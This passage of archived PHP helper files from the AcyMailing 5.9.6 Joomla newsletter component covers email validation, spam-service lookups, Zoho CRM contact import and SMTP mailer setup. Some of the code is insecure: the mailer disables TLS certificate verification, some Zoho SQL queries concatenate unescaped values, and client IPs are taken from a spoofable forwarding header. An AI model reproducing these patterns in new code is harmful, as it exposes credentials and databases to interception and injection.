	}
}
com_acymailing/helpers/acyuser.php000060400000015724152455305300013354 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acyuserHelper{

	function __construct($config = array()){
		global $acymailingCmsUserVars;
		$this->cmsUserVars = $acymailingCmsUserVars;
	}

	function getIP(){
		$ip = '';
		if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && strlen($_SERVER['HTTP_X_FORWARDED_FOR']) > 6){
			$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
		}elseif(!empty($_SERVER['HTTP_CLIENT_IP']) && strlen($_SERVER['HTTP_CLIENT_IP']) > 6){
			$ip = $_SERVER['HTTP_CLIENT_IP'];
		}elseif(!empty($_SERVER['REMOTE_ADDR']) && strlen($_SERVER['REMOTE_ADDR']) > 6){
			$ip = $_SERVER['REMOTE_ADDR'];
		}//endif

		return strip_tags($ip);
	}

	function validEmail($email, $extended = false){
		if(empty($email) || !is_string($email)) return false;

		if(!preg_match('/^'.acymailing_getEmailRegex().'$/i', $email)) return false;

		if(!$extended) return true;


		$config = acymailing_config();
		if($config->get('email_checkpopmailclient', false)){
			if(preg_match('#^.{1,5}@(gmail|yahoo|aol|hotmail|msn|ymail)#i', $email)){
				return false;
			}
		}

		if($config->get('email_checkdomain', false) && function_exists('getmxrr')){
			$domain = substr($email, strrpos($email, '@') + 1);
			$mxhosts = array();
			$checkDomain = getmxrr($domain, $mxhosts);
			if(!empty($mxhosts) && strpos($mxhosts[0], 'hostnamedoesnotexist')){
				array_shift($mxhosts);
			}
			if(!$checkDomain || empty($mxhosts)){
				$dns = @dns_get_record($domain, DNS_A);
				$domainChanged = true;
				foreach($dns as $oneRes){
					if(strtolower($oneRes['host']) == strtolower($domain)){
						$domainChanged = false;
					}
				}
				if(empty($dns) || $domainChanged){
					return false;
				}
			}
		}
		$object = new stdClass();
		$object->IP = $this->getIP();
		$object->emailAddress = $email;

		if($config->get('email_botscout', false)){
			$botscoutClass = new acybotscout();
			$botscoutClass->apiKey = $config->get('email_botscout_key');
			if(!$botscoutClass->getInfo($object)){
				return false;
			}
		}

		if($config->get('email_stopforumspam', false)){
			$email_stopforumspam = new acystopforumspam();
			if(!$email_stopforumspam->getInfo($object)){
				return false;
			}
		}

		if($config->get('email_iptimecheck', 0)){
			$lapseTime = time() - 7200;
			$nbUsers = acymailing_loadResult('SELECT COUNT(*) FROM #__acymailing_subscriber WHERE created > '.intval($lapseTime).' AND ip = '.acymailing_escapeDB($object->IP));
			if($nbUsers >= 3){
				return false;
			}
		}

		return true;
	}

	function getUserGroups($userid){
		if(ACYMAILING_J16){
			$groups = acymailing_loadObjectList('SELECT ug.id, ug.title FROM #__usergroups AS ug JOIN #__user_usergroup_map AS ugm ON ug.id = ugm.group_id WHERE ugm.user_id = '.intval($userid));
		}else{
			$groups = acymailing_loadObjectList('SELECT gid AS id, userType AS title FROM '.acymailing_table($this->cmsUserVars->table, false).' WHERE '.$this->cmsUserVars->id.' = '.intval($userid));
		}
		return $groups;
	}
}

class acybotscout{

	var $apiKey = '';
	var $conn;
	var $error = '';


	function connect(){
		if(is_resource($this->conn)){
			return true;
		}

		$this->conn = fsockopen('www.botscout.com', 80, $errno, $errstr, 20);
		if(!$this->conn){
			$this->error = "Could not open connection ".$errstr;
			return false;
		}
		return true;
	}

	function getInfo(&$object){
		if(!$this->connect()){
			return true;
		}
		$result = true;

		if(!empty($object->IP) && $object->IP != '127.0.0.1'){
			$data = 'ip='.$object->IP;
			$resIP = $this->sendInfo($data);
			$result = $this->checkXML($resIP, $object) && $result;
		}
		if(!empty($object->emailAddress)){
			$data = 'mail='.$object->emailAddress;
			$resAddress = $this->sendInfo($data);
			$result = $this->checkXML($resAddress, $object) && $result;
		}

		if(is_resource($this->conn)){
			fclose($this->conn);
		}

		return $result;
	}

	function sendInfo($data){
		$res = '';
		if(!empty($this->apiKey)){
			$data .= '&key='.$this->apiKey;
		}
		$data .= '&format=xml';
		$header = "GET /test/?".$data." HTTP/1.1\r\n";
		$header .= "Host: www.botscout.com \r\n";
		$header .= "Connection: keep-alive\r\n\r\n";
		fwrite($this->conn, $header);
		while(!feof($this->conn)){
			$res .= fread($this->conn, 1024);
			if(strpos($res, "</response>")){
				break;
			}
		}
		return $res;
	}

	function checkXML($res, $object){

		if(!preg_match('#<response.*</response>#Uis', $res, $results)){
			$this->error = 'There is an error while trying to get the xml could not find "<reponse>"';
			return true;
		}

		$xml = new SimpleXMLElement($results[0]);
		if($xml->matched == "Y" && $xml->test == 'IP'){
			$this->error .= 'There is a problem with the IP : '.$object->IP.' you used to do the registration ( Spam test positive )</br>'; // Check failed. Result indicates dangerous.
			return false;
		}
		if($xml->matched == "Y" && $xml->test == 'MAIL'){
			$this->error .= 'There is a problem with the email : '.$object->emailAddress.' you entered in the form ( Spam test positive )</br>';
			return false;
		}
		return true;
	}
}


class acystopforumspam{

	var $conn;
	var $error = '';

	function connect(){
		$this->conn = fsockopen('www.stopforumspam.com', 80, $errno, $errstr, 20);
		if(!$this->conn){
			$this->error = "Could not open connection ".$errstr;
			return false;
		}
		return true;
	}

	function getInfo(&$object){
		if(!$this->connect()){
			return true;
		}

		$IP = '';
		$emailAddress = '';

		if(empty($object->IP) && empty($object->emailAddress)){
			return true;
		}
		if(!empty($object->IP)){
			$IP = 'ip='.$object->IP.'&';
		}
		if(!empty($object->emailAddress)){
			$emailAddress = 'email='.$object->emailAddress.'&';
		}

		$data = $IP.$emailAddress;
		$data = trim($data, '&');
		$res = '';

		$header = "GET /api?".$data." HTTP/1.1\r\n";
		$header .= "Host: www.stopforumspam.com \r\n";
		$header .= "Connection: Close\r\n\r\n";
		fwrite($this->conn, $header);
		while(!feof($this->conn)){
			$res .= fread($this->conn, 1024);
		}

		if(!preg_match('#<response.*</response>#Uis', $res, $results)){
			$this->error = 'There is an error while trying to get the xml could not find "<reponse>"';
			return true;
		}

		$xml = new SimpleXMLElement($results[0]);

		$number = 0;
		foreach($xml->appears as $oneTest){
			if($oneTest == "yes"){
				if(strtolower($xml->type[$number]) == 'ip'){
					$problemSource = $object->IP;
				}
				if(strtolower($xml->type[$number]) == 'email'){
					$problemSource = $object->emailAddress;
				}
				$this->error .= 'There is a problem with the '.$xml->type[$number].' : '.$problemSource.' you used ( Spam test positive ) </br>'; // Check failed. Result indicates dangerous.
				return false;
			}elseif($oneTest == "no"){
			}else{
				$this->error = 'There is a problem with the result. Service down ? '; // Test returned neither positive or negative result. Service might be down?
				continue;
			}
			$number++;
		}
		return true;
	}
}

com_acymailing/helpers/editor.php000060400000000450152455305300013155 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
acymailing_loadEditor();
com_acymailing/helpers/index.html000060400000000054152455305300013153 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/helpers/zoho.php000060400000015301152455305300012647 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acyzohoHelper {
		var $conn;
		var $authtoken = '';
	var $error = '';
	var $customView = '';
	var $fromIndex = '1';
	var $toIndex = '200';
	var $nbUserRead = 'notParsed';

	function connect() {
		if (is_resource($this->conn))
				return true;
		$this->conn = fsockopen('ssl://crm.zoho.com', 443, $errno, $errstr, 20);
		if (!$this->conn) {
			$this->error = 'Could not open connection ( error '.$errno.' : '.$errstr.' )';
			return false;
		}
		return true;
	}

	function sendInfo($userList){
		if (!$this->connect())	return false;
		$res = '';
		$config = acymailing_config();
		if(empty($this->customView)){
			$apiMethod = "getRecords";
			$cvName = "";
		} else{
			$apiMethod = "getCVRecords";
			$cvName = "&cvName=" . urlencode($this->customView);
		}
		$importNew = $config->get("zoho_importnew", 0);
		$importdate = $config->get('zoho_importdate',0);
		$lastModifiedTime = (!empty($importNew) && !empty($importdate))?"&lastModifiedTime=".urlencode($importdate):"";

		$indexSelect = "";
		if(!empty($this->fromIndex)) $indexSelect = "&fromIndex=".$this->fromIndex;
		if(!empty($this->toIndex)) $indexSelect .= "&toIndex=".$this->toIndex;

		$header = "GET /crm/private/xml/". urlencode($userList) ."/". $apiMethod ."?newFormat=1&authtoken=". urlencode($this->authtoken) . $cvName ."&scope=crmapi".$lastModifiedTime.$indexSelect ." HTTP/1.0\r\n";
		$header .= "Host: crm.zoho.com\r\n";
		$header .= "Content-Type: text/xml\r\n";
		$header .= "Connection: close\r\n\r\n";
		fwrite($this->conn, $header);
		while (!feof($this->conn)) {
			$res .= fread($this->conn, 1024);
		}
		if (!empty($res) && preg_match('#error#', $res) == 1) {
			preg_match('#<message>(.*)</message>#Ui', $res, $explodedResults);
			$this->error = $explodedResults[1];
			return false;
		}

		return $res;
	}

	function parseXML($res,$userList,$selectedFields,$confirmedUsers, $generateName) {
		$xml = substr($res,strpos($res,'<?xml'));
		try{
			$xml = new SimpleXMLElement($xml);
		} catch(Exception $err){
			$this->error = $err;
			return false;
		}
		$emailArray= array();

		$config = acymailing_config();
		$importNew = $config->get("zoho_importnew", 0);
		if(!empty($importNew) && !empty($xml->nodata->code) && $xml->nodata->code == 4422){
			$this->error .= 'There is no new or modified email Address in the '.$userList.' list';
			return $emailArray;
		}

		if(empty($xml->result->$userList->row)){
			$this->error .= 'There is no email Address in the '.$userList.' list';
			return $emailArray;
		}

		$nbUserRead = 0;
		foreach($xml->result->$userList->row as $key=>$row){
			$informations = new stdClass();
			$informations->zoholist = strtolower($userList[0]);
			$informations->confirmed = $confirmedUsers;
			foreach($selectedFields as $oneField){
				if(empty($oneField)) continue;
				 $informations->$oneField = '';
			}
			$title = '';
			$fname = '';
			$lname = '';
			foreach($row->FL as $key => $value){
				if(!in_array('name',$selectedFields) && $generateName == 'fromconcat'){
					if($value['val'] == 'Salutation') $title = (string)$value;
					if($value['val'] == 'First Name') $fname = (string)$value;
					if($value['val'] == 'Last Name') $lname = (string)$value;
				}
				if($value['val'] == 'Vendor Name' && empty($informations->name)) $informations->name = (string)$value;
				if($value['val'] == 'CONTACTID' || $value['val'] == 'LEADID' ||$value['val'] == 'VENDORID' )	$informations->zohoid =(string)$value;
				elseif($value['val'] == 'Email Opt Out'){
					if ($value == 'false')	$informations->accept=1;
					else $informations->accept=0;
				}
				elseif(!empty($selectedFields[(string)$value['val']]))
					$informations->{$selectedFields[(string)$value['val']]} = (string)$value;
				elseif($value['val'] == 'Email')
					$informations->email = (string)$value;
			}

			if(!in_array('name',$selectedFields) && $generateName == 'fromconcat'){
				$informations->name = (!empty($title)?$title:'');
				$informations->name .= (!empty($informations->name) && !empty($fname)?' ':'').$fname;
				$informations->name .= (!empty($informations->name) && !empty($lname)?' ':'').$lname;
			}
			if(!empty($informations->email)){
				$emailArray[]=$informations;
			}
			$nbUserRead++;
		}
		$this->nbUserRead = $nbUserRead;
		if(empty($emailArray) && $nbUserRead == 0) $this->error .= 'There is no email Address in the '.$userList.' list';
		return $emailArray;
	}

	function getFieldsRaw($userList){
		if (!$this->connect())	return false;
		$res = '';
		if(empty($userList)) $userList = 'Contacts';

		$header = "GET /crm/private/xml/". urlencode($userList) ."/getFields?authtoken=". urlencode($this->authtoken) ."&scope=crmapi HTTP/1.0\r\n";
		$header .= "Host: crm.zoho.com\r\n";
		$header .= "Content-Type: text/xml\r\n";
		$header .= "Connection: close\r\n\r\n";
		fwrite($this->conn, $header);

		while (!feof($this->conn)) {
			$res .= fread($this->conn, 1024);
		}
		if (!empty($res) && preg_match('#error#', $res) == 1) {
			preg_match('#<message>(.*)</message>#Ui', $res, $explodedResults);
			$this->error = $explodedResults[1];
			return false;
		}

		return $res;
	}

	function parseXMLFields($xmlToParse){
		$xmlToParse = substr($xmlToParse,strpos($xmlToParse,'<?xml'));
		try{
			$xml = new SimpleXMLElement($xmlToParse);
		} catch(Exception $err){
			$this->error = $err;
			return false;
		}

		if(empty($xml->section)){
			$this->error = acymailing_translation('ACY_NOFIELD');
			return false;
		}

		$zohoFields = array();
		foreach($xml->section as $key=>$oneSection){
			foreach($oneSection as $key=>$oneField){
				if(empty($oneField['label']) || $oneField['label'] == 'Email') continue;
				$zohoFields[] = $oneField['label'];
			}
		}
		return $zohoFields;
	}

	function subscribe($acyList, $zohoList){
		if(empty($acyList) || empty($zohoList)) return 0;

		$query = 'INSERT IGNORE INTO #__acymailing_listsub (subid, listid, status, subdate) SELECT subid,'.$acyList.',1,'.time().' FROM #__acymailing_subscriber WHERE zoholist = "'.strtolower($zohoList[0]).'"';
		return acymailing_query($query) !== false;
	}

	function deleteAddress(&$allSubid, $userList) {
		$subscriberClass= acymailing_get('class.subscriber');
		$IdArray = array();
		foreach($allSubid as $oneID){
			$IdArray[] = acymailing_escapeDB($oneID);
		}
		$query = 'SELECT subid FROM  #__acymailing_subscriber WHERE zoholist LIKE "'.$userList[0].'" AND zohoid IS NOT NULL AND subid NOT IN ('.implode(',',$IdArray).')';
		$subidToDelete = acymailing_loadResultArray($query);
		$subscriberClass->delete($subidToDelete);
	}

	function close() {
		fclose($this->conn);
	}
}
com_acymailing/helpers/acymailer.php000060400000067061152455305300013650 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

require_once(ACYMAILING_INC.'phpmailer'.DS.'class.phpmailer.php');

class acymailerHelper extends acymailingPHPMailer{

	var $report = true;

	var $loadedToSend = true;

	var $checkConfirmField = true;

	var $checkEnabled = true;

	var $checkAccept = true;

	var $parameters = array();

	var $dispatcher;

	var $errorNumber = 0;

	var $reportMessage = '';

	var $autoAddUser = false;

	var $errorNewTry = array(1, 6);

	var $app;

	var $alreadyCheckedAddresses = false;

	var $checkPublished = true;

	var $introtext;

	var $trackEmail = false;

	public $From = '';

	public $FromName = '';

	function __construct(){

		static $loaded = false;
		if(!$loaded){
			$loaded = true;
			acymailing_importPlugin('acymailing');
		}

		$this->SMTPAutoTLS = false;

		$this->subscriberClass = acymailing_get('class.subscriber');
		$this->encodingHelper = acymailing_get('helper.encoding');
		$this->userHelper = acymailing_get('helper.user');


		$this->config = acymailing_config();
		$this->setFrom($this->config->get('from_email'), $this->config->get('from_name'));

		$this->Sender = $this->cleanText($this->config->get('bounce_email'));
		if(empty($this->Sender)) $this->Sender = '';

		switch($this->config->get('mailer_method', 'phpmail')){
			case 'smtp' :
				$this->isSMTP();
				$this->Host = trim($this->config->get('smtp_host'));
				$port = $this->config->get('smtp_port');
				if(empty($port) && $this->config->get('smtp_secured') == 'ssl') $port = 465;
				if(!empty($port)) $this->Host .= ':'.$port;
				$this->SMTPAuth = (bool)$this->config->get('smtp_auth', true);
				$this->Username = trim($this->config->get('smtp_username'));
				$this->Password = trim($this->config->get('smtp_password'));
				$this->SMTPSecure = trim((string)$this->config->get('smtp_secured'));

				if(empty($this->Sender)) $this->Sender = strpos($this->Username, '@') ? $this->Username : $this->config->get('from_email');
				break;
			case 'sendmail' :
				$this->isSendmail();
				$this->Sendmail = trim($this->config->get('sendmail_path'));
				if(empty($this->Sendmail)) $this->Sendmail = '/usr/sbin/sendmail';
				break;
			case 'qmail' :
				$this->isQmail();
				break;
			case 'elasticemail' :
				$port = $this->config->get('elasticemail_port', 'rest');
				if(is_numeric($port)){
					$this->isSMTP();
					if($port == '25'){
						$this->Host = 'smtp25.elasticemail.com:25';
					}else{
						$this->Host = 'smtp.elasticemail.com:2525';
					}
					$this->Username = trim($this->config->get('elasticemail_username'));
					$this->Password = trim($this->config->get('elasticemail_password'));
					$this->SMTPAuth = true;
				}else{
					include_once(ACYMAILING_INC.'phpmailer'.DS.'class.elasticemail.php');
					$this->Mailer = 'elasticemail';
					$this->{$this->Mailer} = new acymailingElasticemail();
					$this->{$this->Mailer}->Username = trim($this->config->get('elasticemail_username'));
					$this->{$this->Mailer}->Password = trim($this->config->get('elasticemail_password'));
				}

				break;
			default :
				$this->isMail();
				break;
		}//endswitch


		$this->PluginDir = dirname(__FILE__).DS;
		$this->CharSet = strtolower($this->config->get('charset'));
		if(empty($this->CharSet)) $this->CharSet = 'utf-8';

		$this->clearAll();

		$this->Encoding = $this->config->get('encoding_format');
		if(empty($this->Encoding)) $this->Encoding = '8bit';

		$this->WordWrap = intval($this->config->get('word_wrapping', 0));

		@ini_set('pcre.backtrack_limit', 1000000);

		$this->SMTPOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false, "allow_self_signed" => true));
	}//endfct

	public function send(){
		if(empty($this->ReplyTo) && empty($this->ReplyToQueue)){
			$this->_addReplyTo(empty($this->replyemail) ? $this->config->get('reply_email') : $this->replyemail, empty($this->replyname) ? $this->config->get('reply_name') : $this->replyname);
		}

		if((bool)$this->config->get('embed_images', 0) && $this->Mailer != 'elasticemail'){
			$this->embedImages();
		}

		if(empty($this->Subject) OR empty($this->Body)){
			$this->reportMessage = acymailing_translation('SEND_EMPTY');
			$this->errorNumber = 8;
			if($this->report){
				acymailing_enqueueMessage($this->reportMessage, 'error');
			}
			return false;
		}

		if(!$this->alreadyCheckedAddresses){
			$this->alreadyCheckedAddresses = true;

			$replyToTmp = '';
			if(!empty($this->ReplyTo)){
				$replyToTmp = reset($this->ReplyTo);
				$replyToTmp = $replyToTmp[0];
			}elseif(!empty($this->ReplyToQueue)){
				$replyToTmp = reset($this->ReplyToQueue);
				$replyToTmp = $replyToTmp[1];
			}

			if(empty($replyToTmp) || !$this->userHelper->validEmail($replyToTmp)){
				$this->reportMessage = acymailing_translation('VALID_EMAIL').' ( '.acymailing_translation('REPLYTO_ADDRESS').' : '.(empty($this->ReplyTo) ? '' : $replyToTmp).' ) ';
				$this->errorNumber = 9;
				if($this->report){
					acymailing_enqueueMessage($this->reportMessage, 'error');
				}
				return false;
			}

			if(empty($this->From) || !$this->userHelper->validEmail($this->From)){
				$this->reportMessage = acymailing_translation('VALID_EMAIL').' ( '.acymailing_translation('FROM_ADDRESS').' : '.$this->From.' ) ';
				$this->errorNumber = 9;
				if($this->report){
					acymailing_enqueueMessage($this->reportMessage, 'error');
				}
				return false;
			}

			if(!empty($this->Sender) && !$this->userHelper->validEmail($this->Sender)){
				$this->reportMessage = acymailing_translation('VALID_EMAIL').' ( '.acymailing_translation('BOUNCE_ADDRESS').' : '.$this->Sender.' ) ';
				$this->errorNumber = 9;
				if($this->report){
					acymailing_enqueueMessage($this->reportMessage, 'error');
				}
				return false;
			}
		}

		if(!empty($this->favicon)){
			$faviconHeader = '<link rel="shortcut icon" href="'.$this->favicon.'" type="image/x-icon" />';
			$this->Body = str_replace('</head>', $faviconHeader.'</head>', $this->Body);
		}

		if(function_exists('mb_convert_encoding') && !empty($this->sendHTML)){
			$this->Body = mb_convert_encoding($this->Body, 'HTML-ENTITIES', 'UTF-8');
			$this->Body = str_replace(array('&amp;', '&sigmaf;'), array('&', 'ς'), $this->Body);
		}

		if($this->CharSet != 'utf-8'){
			$this->Body = $this->encodingHelper->change($this->Body, 'UTF-8', $this->CharSet);
			$this->Subject = $this->encodingHelper->change($this->Subject, 'UTF-8', $this->CharSet);
			if(!empty($this->AltBody)) $this->AltBody = $this->encodingHelper->change($this->AltBody, 'UTF-8', $this->CharSet);
		}

		if(strpos($this->Host, 'elasticemail')){
			$this->addCustomHeader('referral:2f0447bb-173a-459d-ab1a-ab8cbebb9aab');
		}

		$this->Subject = str_replace(array('’', '“', '”', '–'), array("'", '"', '"', '-'), $this->Subject);

		$this->Body = str_replace(" ", ' ', $this->Body);

		ob_start();
		$result = parent::send();
		$warnings = ob_get_clean();

		if(!empty($warnings) && strpos($warnings, 'bloque')){
			$result = false;
		}
		
		$receivers = array();
		foreach($this->to as $oneReceiver){
			$receivers[] = $oneReceiver[0];
		}
		if(!$result){
			$this->reportMessage = acymailing_translation_sprintf('SEND_ERROR', '<b><i>'.$this->Subject.'</i></b>', '<b><i>'.implode(' , ', $receivers).'</i></b>');
			if(!empty($this->ErrorInfo)) $this->reportMessage .= ' | '.$this->ErrorInfo;
			if(!empty($warnings)) $this->reportMessage .= ' | '.$warnings;
			$this->errorNumber = 1;
			if($this->report){
				$this->reportMessage = str_replace('Could not instantiate mail function', '<a target="_blank" href="'.ACYMAILING_REDIRECT.'could-not-instantiate-mail-function" title="'.acymailing_translation('TELL_ME_MORE').'">Could not instantiate mail function</a>', $this->reportMessage);
				acymailing_enqueueMessage(nl2br($this->reportMessage), 'error');
			}
		}else{
			$this->reportMessage = acymailing_translation_sprintf('SEND_SUCCESS', '<b><i>'.$this->Subject.'</i></b>', '<b><i>'.implode(' , ', $receivers).'</i></b>');
			if(!empty($warnings)) $this->reportMessage .= ' | '.$warnings;
			if($this->report){
				acymailing_enqueueMessage(nl2br($this->reportMessage), 'message');
			}
		}

		return $result;
	}

	public function load($mailid){
		$mailClass = acymailing_get('class.mail');
		$this->defaultMail[$mailid] = $mailClass->get($mailid);

		if(empty($this->defaultMail[$mailid]->mailid)) return false;

		if(empty($this->defaultMail[$mailid]->altbody)) $this->defaultMail[$mailid]->altbody = $this->textVersion($this->defaultMail[$mailid]->body);

		if(!empty($this->defaultMail[$mailid]->attach)){
			$this->defaultMail[$mailid]->attachments = array();

			foreach($this->defaultMail[$mailid]->attach as $oneAttach){
				$attach = new stdClass();
				$attach->name = basename($oneAttach->filename);
				$attach->filename = str_replace(array('/', '\\'), DS, ACYMAILING_ROOT).$oneAttach->filename;
				$attach->url = ACYMAILING_LIVE.$oneAttach->filename;
				$this->defaultMail[$mailid]->attachments[] = $attach;
			}
		}

		if(!empty($this->defaultMail[$mailid]->favicon) && !empty($this->defaultMail[$mailid]->favicon->filename)){
			$this->defaultMail[$mailid]->favicon = ACYMAILING_LIVE.str_replace(DS, '/', $this->defaultMail[$mailid]->favicon->filename);
		}else{
			$this->defaultMail[$mailid]->favicon = '';
		}

		if(!empty($this->defaultMail[$mailid]->tempid)){
			$templateClass = acymailing_get('class.template');
			$this->defaultMail[$mailid]->template = $templateClass->get($this->defaultMail[$mailid]->tempid);
		}

		$this->triggerTagsWithRightLanguage($this->defaultMail[$mailid], $this->loadedToSend);

		$this->defaultMail[$mailid]->body = acymailing_absoluteURL($this->defaultMail[$mailid]->body);

		return $this->defaultMail[$mailid];
	}

	public function clearAll(){
		$this->Subject = '';
		$this->Body = '';
		$this->AltBody = '';
		$this->ClearAllRecipients();
		$this->ClearAttachments();
		$this->ClearCustomHeaders();
		$this->ClearReplyTos();
		$this->errorNumber = 0;
		$this->MessageID = '';
		$this->ErrorInfo = '';

		$this->setFrom($this->config->get('from_email'), $this->config->get('from_name'));


	}

	public function sendOne($mailid, $receiverid){
		$this->clearAll();

		if(!isset($this->defaultMail[$mailid])){
			$this->loadedToSend = true;
			if(!$this->load($mailid)){
				$this->reportMessage = 'Can not load the e-mail : '.htmlspecialchars($mailid, ENT_COMPAT, 'UTF-8');
				if($this->report){
					acymailing_enqueueMessage($this->reportMessage, 'error');
				}
				$this->errorNumber = 2;
				return false;
			}
		}


		if(!isset($this->forceVersion) AND $this->checkPublished AND empty($this->defaultMail[$mailid]->published)){
			$this->reportMessage = acymailing_translation_sprintf('SEND_ERROR_PUBLISHED', htmlspecialchars($mailid, ENT_COMPAT, 'UTF-8'));
			$this->errorNumber = 3;
			if($this->report){
				acymailing_enqueueMessage($this->reportMessage, 'error');
			}
			return false;
		}

		if(!is_object($receiverid)){
			$receiver = $this->subscriberClass->get($receiverid);
			if(empty($receiver->subid) AND is_string($receiverid) AND $this->autoAddUser){
				if($this->userHelper->validEmail($receiverid)){
					$newUser = new stdClass();
					$newUser->email = $receiverid;
					$this->subscriberClass->checkVisitor = false;
					$this->subscriberClass->sendConf = false;
					$subid = $this->subscriberClass->save($newUser);
					$receiver = $this->subscriberClass->get($subid);
				}
			}
		}else{
			$receiver = $receiverid;
		}

		if(empty($receiver->email)){
			$this->reportMessage = acymailing_translation_sprintf('SEND_ERROR_USER', '<b><i>'.(isset($receiver->subid) ? $receiver->subid : htmlspecialchars($receiverid, ENT_COMPAT, 'UTF-8')).'</i></b>');
			if($this->report){
				acymailing_enqueueMessage($this->reportMessage, 'error');
			}
			$this->errorNumber = 4;
			return false;
		}


		$this->MessageID = "<".preg_replace("|[^a-z0-9+_]|i", '', base64_encode(rand(0, 9999999))."AC".$receiver->subid."Y".$this->defaultMail[$mailid]->mailid."BA".base64_encode(time().rand(0, 99999)))."@".$this->serverHostname().">";

		if(strpos($this->Host, 'mailjet') !== false && !empty($this->defaultMail[$mailid]->alias)){
			$this->addCustomHeader('X-Mailjet-Campaign: '.$this->defaultMail[$mailid]->alias);
		}

		if(!isset($this->forceVersion)){
			if($this->checkConfirmField AND empty($receiver->confirmed) AND $this->config->get('require_confirmation', 0) AND strpos($this->defaultMail[$mailid]->alias, 'confirm') === false){
				$this->reportMessage = acymailing_translation_sprintf('SEND_ERROR_CONFIRMED', '<b><i>'.htmlspecialchars($receiver->email, ENT_COMPAT, 'UTF-8').'</i></b>');
				if($this->report){
					acymailing_enqueueMessage($this->reportMessage, 'error');
				}
				$this->errorNumber = 5;
				return false;
			}

			if($this->checkEnabled AND empty($receiver->enabled) AND strpos($this->defaultMail[$mailid]->alias, 'enable') === false){
				$this->reportMessage = acymailing_translation_sprintf('SEND_ERROR_APPROVED', '<b><i>'.htmlspecialchars($receiver->email, ENT_COMPAT, 'UTF-8').'</i></b>');
				if($this->report){
					acymailing_enqueueMessage($this->reportMessage, 'error');
				}
				$this->errorNumber = 6;
				return false;
			}
		}


		if($this->checkAccept AND empty($receiver->accept)){
			$this->reportMessage = acymailing_translation_sprintf('SEND_ERROR_ACCEPT', '<b><i>'.htmlspecialchars($receiver->email, ENT_COMPAT, 'UTF-8').'</i></b>');
			if($this->report){
				acymailing_enqueueMessage($this->reportMessage, 'error');
			}
			$this->errorNumber = 7;
			return false;
		}

		$addedName = '';
		if($this->config->get('add_names', true)){
			$nameTmp = acymailing_translation('ACY_TO_NAME');
			$testTag = preg_match_all('/\[(.*)\]/U', $nameTmp, $matches);
			if($testTag != 0){
				foreach($matches[0] as $i => $oneMatch){
					$replaceValue = '';
					if(!empty($receiver->{$matches[1][$i]})) $replaceValue = $receiver->{$matches[1][$i]};
					$nameTmp = str_replace($oneMatch, $replaceValue, $nameTmp);
				}
			}
			$addedName = $this->cleanText($nameTmp);
			if($addedName == $this->cleanText($receiver->email)) $addedName = '';
		}
		$this->addAddress($this->cleanText($receiver->email), $addedName);

		if(!isset($this->forceVersion)){
			$this->isHTML($receiver->html && $this->defaultMail[$mailid]->html);
		}else{
			$this->isHTML((bool)$this->forceVersion);
		}

		$this->Subject = $this->defaultMail[$mailid]->subject;

		if($this->sendHTML){
			$this->Body = $this->defaultMail[$mailid]->body;
			if($this->config->get('multiple_part', false)){
				$this->AltBody = $this->defaultMail[$mailid]->altbody;
			}
		}else{
			$this->Body = $this->defaultMail[$mailid]->altbody;
		}

		$this->setFrom($this->defaultMail[$mailid]->fromemail, $this->defaultMail[$mailid]->fromname);
		$this->_addReplyTo($this->defaultMail[$mailid]->replyemail, $this->defaultMail[$mailid]->replyname);

		$this->defaultMail[$mailid]->bccaddresses = isset($this->defaultMail[$mailid]->bccaddresses) ? $this->defaultMail[$mailid]->bccaddresses : '';
		$bcc = trim(str_replace(array(',', ' '), ';', $this->defaultMail[$mailid]->bccaddresses));
		if(!empty($bcc)){
			$allBcc = explode(';', $bcc);
			foreach($allBcc as $oneBcc){
				if(empty($oneBcc)) continue;
				$this->AddBCC($oneBcc);
			}
		}

		if(!empty($this->defaultMail[$mailid]->attachments)){
			if($this->config->get('embed_files')){
				foreach($this->defaultMail[$mailid]->attachments as $attachment){
					$this->addAttachment($attachment->filename);
				}
			}else{
				$attachStringHTML = '<br /><fieldset><legend>'.acymailing_translation('ATTACHMENTS').'</legend><table>';
				$attachStringText = "\n"."\n".'------- '.acymailing_translation('ATTACHMENTS').' -------';
				foreach($this->defaultMail[$mailid]->attachments as $attachment){
					$attachStringHTML .= '<tr><td><a href="'.$attachment->url.'" target="_blank">'.$attachment->name.'</a></td></tr>';
					$attachStringText .= "\n".'-- '.$attachment->name.' ( '.$attachment->url.' )';
				}
				$attachStringHTML .= '</table></fieldset>';

				if($this->sendHTML){
					$this->Body .= $attachStringHTML;
					if(!empty($this->AltBody)) $this->AltBody .= "\n".$attachStringText;
				}else{
					$this->Body .= $attachStringText;
				}
			}
		}

		if(!empty($this->parameters)){
			$this->generateAllParams();
			$keysparams = array_keys($this->parameters);
			$this->Subject = str_replace($keysparams, $this->parameters, $this->Subject);
			$this->Body = str_replace($keysparams, $this->parameters, $this->Body);
			if(!empty($this->AltBody)) $this->AltBody = str_replace($keysparams, $this->parameters, $this->AltBody);

			if(!empty($this->From)) str_replace($keysparams, $this->parameters, $this->From);
			if(!empty($this->FromName)) str_replace($keysparams, $this->parameters, $this->FromName);
			if(!empty($this->ReplyTo)){
				foreach($this->ReplyTo as $i => $replyto){
					foreach($replyto as $a => $oneval){
